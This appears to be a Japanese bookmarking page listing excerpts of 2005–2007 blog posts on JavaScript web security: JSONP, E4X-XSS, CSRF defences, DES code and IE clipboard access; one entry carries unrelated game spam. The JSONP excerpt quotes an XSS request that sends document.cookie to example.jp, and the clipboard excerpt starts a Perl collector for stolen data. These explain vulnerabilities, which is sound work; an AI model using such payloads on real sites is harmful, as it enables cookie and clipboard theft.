タグ

javascriptとsecurityに関するhiro_yのブックマーク (29)

  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

    hiro_y
    hiro_y 2007/01/12
    データ提供者側が行うべきセキュリティ対策。
  • 機密情報にJSONPでアクセスするな

    2007年6月7日 はてなブックマークのコメントをうけて、「常にJSONP、JSON、JavaScriptに機密事項を含めないように」という主張を改め、「クロスドメインアクセスの対策をとっていない状態ではJSONP、JSON、JavaScriptに機密事項を含めないように」という主張に関して記述しました。 こんにちは、SEの進地です。 今回から週単位でWebアプリケーションのセキュリティに関するエントリーを書いていこうと思います。 僕自身、日々勉強して精進というところですので、もし何らかの誤りがあれば是非ご指摘ください。 つっこみ大歓迎です。 今回取り上げるのはWeb 2.0なアプリケーションでセキュリティ面で気をつけるべきことの一つ、機密情報にJSONPでアクセスするなです。 JSON(JavaScript Object Notation)はJavaScript(ECMAScript)の

    hiro_y
    hiro_y 2007/01/11
    JSON/JSONP/JavaScriptに機密情報を含めないこと、CSRF脆弱性と絡めて。
  • Kazuho@Cybozu Labs: E4X-XSS 脆弱性について

    « 安全な JSON, 危険な JSON (Cross-site Including?) | メイン | JSONP - データ提供者側のセキュリティについて » 2007年01月10日 E4X-XSS 脆弱性について Firefox でサポートされている JavaScript 拡張 E4X (ECMA-357) では、JavaScript 内に XML とほぼ同様のマークアップ言語を記述できるようになっています。しかし、マークアップ言語の解釈にはいくつかの違いがあり、この点をついたクロスサイトスクリプティングの可能性が (相当に小さいものの) 存在します。攻撃者は、 ウェブアプリケーションに E4X として解釈した場合に実行コードとして解釈されるコードを注入 (XSS) し、 1 のコンテンツを <script> タグを用いて参照するような別のウェブサイトを用意し、攻撃対象にアクセスさせ

    hiro_y
    hiro_y 2007/01/10
    FirefoxでサポートされているJavaScript拡張、E4Xの脆弱性。
  • Kazuho@Cybozu Labs: クロスサイトのセキュリティモデル

    « Japanize - IE 系の User JavaScript エンジンに対応しました | メイン | 安全な JSON, 危険な JSON (Cross-site Including?) » 2007年01月04日 クロスサイトのセキュリティモデル あけましておめでとうございます。 昨年、社内で「XMLHttpRequest は何故クロスサイトで使えないのか。画像や SCRIPT タグは使えるのに」という疑問 (というより試問) を耳にしました。おもしろい話なのでブログネタにしようと思っていたのですが、新年早々 GMAIL の事例がスラッシュドットされていたので、自分の現時点での理解をまとめてみることにしました。文書を確認して書いているわけではないので、間違いがあれば指摘してください。また、よい参考文献をご存知の方がいらっしゃいましたら、教えていただければ幸いです。 ウェブブラウザ

    hiro_y
    hiro_y 2007/01/04
    XMLHttpRequest は何故クロスサイトで使えないのか。
  • ウノウラボ Unoh Labs: Web2.0時代のJavaScriptで注意することを5つほげほげ

    GT Nitro: Car Game Drag Raceは、典型的なカーゲームではありません。これはスピード、パワー、スキル全開のカーレースゲームです。ブレーキは忘れて、これはドラッグレース、ベイビー!古典的なクラシックから未来的なビーストまで、最もクールで速い車とカーレースできます。スティックシフトをマスターし、ニトロを賢く使って競争を打ち破る必要があります。このカーレースゲームはそのリアルな物理学と素晴らしいグラフィックスであなたの心を爆発させます。これまでプレイしたことのないようなものです。 GT Nitroは、リフレックスとタイミングを試すカーレースゲームです。正しい瞬間にギアをシフトし、ガスを思い切り踏む必要があります。また、大物たちと競いつつ、車のチューニングとアップグレードも行わなければなりません。世界中で最高のドライバーと車とカーレースに挑むことになり、ドラッグレースの王冠

    ウノウラボ Unoh Labs: Web2.0時代のJavaScriptで注意することを5つほげほげ
    hiro_y
    hiro_y 2006/12/07
    気をつけることは当然増える。
  • hata's LABlog: CSRF対策 with JavaScript

    JavaScript を使った CSRF 対策の方法として、以前 Kazuho@Cybozu Labs で紹介されました。 CSRF 対策 w. JavaScript CSSXSS に対して脆弱でない CSRF 対策とはどのようなものか、という議論が続いているようですが、JavaScript を用いてよいのであれば、簡単な対策手法が存在すると思います。 ここでさらに一歩進めて、既存の FORM 要素に onsubmit 属性、および hiddenフィールドを直接追加せずに、JavaScript ファイルを1つインクルードすることにより、既存アプリケーションの書き換えをさらに少なくする方法を紹介したいと思います。 以下の JavaScript ファイルをHTMLの最後でインクルードする方法です。 fight_csrf.js sessid_name = ""; scripts = docume

    hiro_y
    hiro_y 2006/06/09
    CSRF対策、セッションIDを常に送信。
  • Kazuho@Cybozu Labs: CSRF 対策 w. JavaScript

    « PERL5WEBDB | メイン | IIS のログを tail -f » 2006年04月11日 CSRF 対策 w. JavaScript CSSXSS に対して脆弱でない CSRF 対策とはどのようなものか、という議論が続いているようですが、JavaScript を用いてよいのであれば、簡単な対策手法が存在すると思います。 CSRF 対策では、フォームの hidden パラメタに、なんらかのトークンを埋め込むことで、第三者によるフォーム偽造を防止するのが一般的です。しかし、 CSSXSS を用いて、そのトークンを第三者が読み出せてしまうという点が、問題をややこしくしているように思えます注2。 しかし、 JavaScript を用いて良い環境では、単純な対策が存在すると思います。 HTML 内にあらかじめトークンを埋め込んでおくのではなく、フォーム送信時に、ブラウザ側でトークンを埋

    hiro_y
    hiro_y 2006/04/11
    cookieのセッションIDを送信時に取得。
  • DES Source Code

    This page shows how to use this DES function, and provides the source code in Javascript, Perl and PHP. Usage des (string key, string message, boolean encrypt, [integer mode, string iv, integer padding]) The des function accepts an 8 character string as the key (this is 64 bits, but the algorithm only uses 56) for normal DES or a 24 character string for triple DES, a message string, a boolean to s

    hiro_y
    hiro_y 2006/02/18
    JavaScript、Perl、PHPそれぞれのDES実装方法。
  • あなたのクリップボードが盗まれる - Ceekz Logs

    IE には、便利な機能がある。それは、スクリプト(JavaScript etc..)でクリップボードの操作ができるのだ。clipboardData というオブジェクトね。操作できる内容は、クリップボードにデータを読み込むこと(setData)、読み出すこと(getData)、消去すること(clearData)の3種類。 読み出すことも可能なんですよね。しかも、デフォルトでは、警告すら出ない。 以下のような、プログラムを準備しよう。 #!/usr/bin/perl use strict; my $file = '/tmp/cb.txt'; open (CB, ">> $file"); print CB "$ENV{'QUERY_STRING'}\n"; close (CB); print "Status: 301 Moved Permanently\n"; print "Location:

    hiro_y
    hiro_y 2005/11/24
    IEだとJavaScript経由でクリップボードの内容を参照可能。警告なしで送信される可能性。